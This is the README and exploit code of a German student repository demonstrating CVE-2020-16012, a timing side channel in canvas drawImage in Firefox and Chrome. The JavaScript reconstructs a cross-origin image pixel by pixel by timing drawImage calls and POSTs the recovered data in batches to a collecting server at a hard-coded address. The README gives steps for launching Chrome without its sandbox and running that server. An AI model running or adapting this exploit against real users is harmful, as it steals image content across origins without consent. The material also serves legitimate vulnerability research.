
PoC für CVE-2020-16012, ein Timing-Seitenkanal in drawImage in Firefox & Chrome
Dieses Repository enthält Proofs of Concept (PoCs) für CVE-2020-16012, eine Seitenkanal-Schwachstelle, die in der Implementierung von CanvasRenderingContext2D.drawImage() in Firefox und Chromium identifiziert wurde.
Dieses Projekt entstand in Zusammenarbeit eines Teams von sechs Studierenden im zweiten Jahr unseres Masterstudiums (M2).
unzip Linux...chrome.zip
cd chrome-linux/
./chrome --disable-gpu --disable-software-rasterizer --no-sandbox ../code/client/exploit.html
cd code/server
pip install -r requirements.txt
Läuft auf Port 7000 auf localhost.
python3 server.py
Ein Bild mit dem Namen output/img1.png wird erstellt, wenn Sie „Ctrl+C“ drücken, um den Server herunterzufahren.
<script>
let Heatmap = null
let ScratchContext = null
const Width = 75
const Height = 75
const Iters = 200
const BATCH_SIZE = 100 // Batch size for sending data
// Server base URL
const SERVER_URL = "http://192.168.0.26:7000"
function median(lst) {
let sorted = lst.slice(0).sort()
return sorted[Math.floor(sorted.length / 2)]
}
function zeroDelay() {
return new Promise(resolve => setTimeout(resolve, 0))
}
// Function to send RGB data to a server via POST (individual method)
async function sendPixelData(x, y, rgb) {
// Sends RGB data to the remote server
await fetch(`${SERVER_URL}`, {
method: "POST",
body: JSON.stringify({ x, y, rgb }),
headers: { "Content-Type": "application/json" }
})
}
// Function to send a batch of pixels
async function sendPixelBatch(pixelBatch) {
await fetch(`${SERVER_URL}/batch`, {
method: "POST",
body: JSON.stringify({ pixels: pixelBatch }),
headers: { "Content-Type": "application/json" }
});
console.log(`Sending a batch of ${pixelBatch.length} pixels`);
}
// Function to save the image on the server
async function saveImage() {
try {
const response = await fetch(`${SERVER_URL}/auto-save`);
const data = await response.json();
if (response.ok) {
displayStatus(`Image saved: ${data.path}`, true);
// Optionally, display the saved image
document.getElementById('saved-image').src = `${SERVER_URL}/get-latest-image?t=${Date.now()}`;
document.getElementById('saved-image-container').style.display = 'block';
} else {
displayStatus(`Error: ${data.error}`, false);
}
} catch (error) {
displayStatus(`Connection error: ${error.message}`, false);
}
}
// Function to display status messages
function displayStatus(message, isSuccess) {
const statusElement = document.getElementById('status');
statusElement.textContent = message;
statusElement.className = isSuccess ? 'success' : 'error';
statusElement.style.display = 'block';
// Hide the message after 5 seconds
setTimeout(() => {
statusElement.style.display = 'none';
}, 5000);
}
async function timePixel(image, x, y) {
let startTime = performance.now()
for (let j = 0; j < Iters; j++) {
ScratchContext.drawImage(image, x, y, 1, 1, 0, 0, 1024, 1024)
}
/* in Chromium, the draw operations aren't actually performed
immediately, but only after the JavaScript thread stops. we wait
on a timeout with a duration of zero to give the browser a chance
to do the drawing, as otherwise we'd just be measuring the time
taken to enqueue all of the draw operations. */
await zeroDelay()
let endTime = performance.now()
return endTime - startTime
}
function drawHeatmap(heatmap) {
let min = Math.min(...heatmap.map(l => Math.min(...l)))
let max = Math.max(...heatmap.map(l => Math.max(...l)))
Heatmap.clearRect(0, 0, Width, Height)
for (let x = 0; x < heatmap.length; x++) {
for (let y = 0; y < heatmap[x].length; y++) {
let color = Math.round(255 * (max - heatmap[x][y]) / (max - min))
Heatmap.fillStyle = `rgb(${color}, ${color}, ${color})`
Heatmap.fillRect(x, y, 1, 1)
}
}
}
async function recoverImage(image) {
document.getElementById('progress-info').textContent = "Initializing...";
/* the first couple of measurements are always higher
than they're supposed to be because some interpreter
optimizations haven't kicked in yet, so we "warm up"
the interpreter by throwing away 5 measurements. */
for (let i = 0; i < 5; i++) {
await timePixel(image, 0, 0)
}
let pixels = [];
let allPixelData = [];
let currentBatch = [];
const totalPixels = Width * Height;
let processedPixels = 0;
document.getElementById('progress-info').textContent = "Recovery in progress...";
for (let x = 0; x < Width; x++) {
let col = []
for (let y = 0; y < Height; y++) {
rgb = await timePixel(image, x, y)
col.push(rgb)
// Add pixel to the current batch
currentBatch.push({x, y, rgb});
processedPixels++;
// Update progress indicator
document.getElementById('progress-info').textContent =
`Progress: ${processedPixels}/${totalPixels} pixels (${Math.round(processedPixels/totalPixels*100)}%)`;
// If batch reaches limit, send it
if (currentBatch.length >= BATCH_SIZE) {
await sendPixelBatch([...currentBatch]); // Copy batch to avoid reference issues
currentBatch = []; // Reset batch
}
drawHeatmap(pixels.concat([col]));
}
pixels.push(col)
}
// Send the last batch if pixels remain
if (currentBatch.length > 0) {
await sendPixelBatch(currentBatch);
}
drawHeatmap(pixels)
document.getElementById('progress-info').textContent = "Recovery complete!";
document.getElementById('save-btn').disabled = false;
saveImage();
}
function init() {
ScratchContext = document.getElementById('scratch').getContext('2d')
ScratchContext.imageSmoothingEnabled = false
Heatmap = document.getElementById('heatmap').getContext('2d')
Heatmap.imageSmoothingEnabled = false
// Disable save button until recovery is complete
document.getElementById('save-btn').disabled = true;
recoverImage(document.getElementById('target'))
}
</script>